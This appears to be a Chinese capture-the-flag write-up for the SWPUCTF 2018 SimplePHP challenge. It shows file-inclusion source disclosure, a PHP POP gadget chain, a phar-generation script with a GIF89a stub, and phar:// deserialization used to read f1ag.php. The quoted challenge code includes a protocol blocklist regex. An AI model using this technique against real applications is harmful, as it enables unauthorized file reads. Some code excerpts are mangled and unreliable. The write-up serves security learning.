[SWPUCTF 2018]SimplePHP
创始人
2024-03-01 19:32:56
0

考点:文件上传

试了一下,直接上传php文件是不行的,.user.ini和.htaccess也不行

能看到有提示,flag在f1ag.php中

在查看文件功能处发现get传参,可能是文件包含

尝试包含当前页面

?file=file.php

得到

There is no file to show!

";  }  $show = new Show();  if(file_exists($file)) { $show->source = $file; $show->_show();  } else if (!empty($file)){ die('file doesn\'t exists.');  }  ?> 

读取upload_file.php

?file=upload_file.php
  

查看function.php

?file=function.php
alert("上传成功!");'; 
} 
function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); } 
} 
function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { //echo "

请选择上传的文件:" . "

"; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo 'alert("Invalid file!");'; return false; } }  }  ?> 

function.php的作用主要是判断文件是否存在,并过滤一些字符串,给文件重命名,然后移动到upload目录下

再看class.php

?file=class.php
 str = $name;}public function __destruct(){$this->test = $this->str;echo $this->test;}
}class Show
{public $source;public $str;public function __construct($file){$this->source = $file;   //$this->source = phar://phar.jpgecho $this->source;}public function __toString(){$content = $this->str['str']->source;return $content;}public function __set($key,$value){$this->$key = $value;}public function _show(){if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {die('hacker!');} else {highlight_file($this->source);}}public function __wakeup(){if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {echo "hacker~";$this->source = "index.php";}}
}
class Test
{public $file;public $params;public function __construct(){$this->params = array();}public function __get($key){return $this->get($key);}public function get($key){if(isset($this->params[$key])) {$value = $this->params[$key];} else {$value = "index.php";}return $this->file_get($value);}public function file_get($value){$text = base64_encode(file_get_contents($value));return $text;}
}
?> 

可以看到在Test类中的file_get函数有文件读取,在上面的get函数中调用了file_get,这里传入了一个$key 把他当作 params的值,再给file_get

再往上看,__get调用了get方法

__get魔术方法:当调用未定义的属性或没有权限访问的属性触发

再看上面Show类中的__toString

    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }

如果这里的 $this ->str['str'] 是Test 类,那么Test 类中没有 source这个属性,就会触发__get 方法

那么又该怎么触发__toString方法呢? __toString函数触发条件:

当一个对象被当作字符串处理的时候,会触发这个魔术方法 

再看 C1e4r 类中的 __destruct

    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }

这里有个echo,如果 str 是一个类的对象,也就是 $this.test 是个对象,那么echo 对象 就会触发了 __toString 方法

构造pop链并生成phar文件

params['source']='/var/www/html/f1ag.php';
$show->str['str']=$test;
$cle4r->str=$show;$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a");
$phar->setMetadata($cle4r);
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();?>

这边有个要解释一下的是,这里是params[‘source’],而不是params[‘其他’]。

我们知道__get是当调用未定义的属性或没有权限访问的属性才触发,一旦触发那么这里的$key接受的就是那个未定义的属性,而不是值。

本地访问生成phar文件,将后缀改为jpg,然后上传

 

然后访问/upload/,得到文件名

然后使用phar进行文件包含

base64解码得到flag

相关内容

热门资讯

2026年征兵报名通道已开启!... 广大适龄青年及家长朋友们: 2026年征兵工作全面展开,为使广大群众和应征青年及时了解征兵的政策规定...
海昌海洋公园(02255.HK... 海昌海洋公园(02255.HK)公布,公司于2025 年12月22日收到公司董事会主席、执行董事兼行...
“底线”从未动摇!个人信用如何... 央视网消息:中国人民银行12月22日发布一次性信用修复政策,符合相关条件的逾期信息,将不会在个人信用...
美国参议院Murphy:将通过... 美国参议院Murphy:将通过法律手段阻止美国总统特朗普针对风电场采取的命令。
“免申即享”,一次性信用修复政... 蓝鲸新闻12月22日讯(记者 严沁雯)个人信用重塑支持政策正式落地。12月22日,中国人民银行发布关...
一次性信用修复政策公布,将帮助... 新华社北京12月22日电题:一次性信用修复政策公布,将帮助哪些人重塑个人信用? 12月22日,中国人...
*ST惠程(002168)披露... 截至2025年12月22日收盘,*ST惠程(002168)报收于3.69元,较前一交易日上涨5.13...
苹果因应用商店追踪政策被意大利... 12月22日消息,据欧洲新闻网报道,意大利竞争管理局对苹果公司、苹果分销国际公司和苹果意大利公司处以...
形势政策系列报告会第二场报告会... 新华社北京12月22日电 由中央宣传部、中央和国家机关工委、教育部、中央军委政治工作部、北京市委联合...
中国将主要签证便利化政策延长至... On December 18, several Chinese embassies issued a...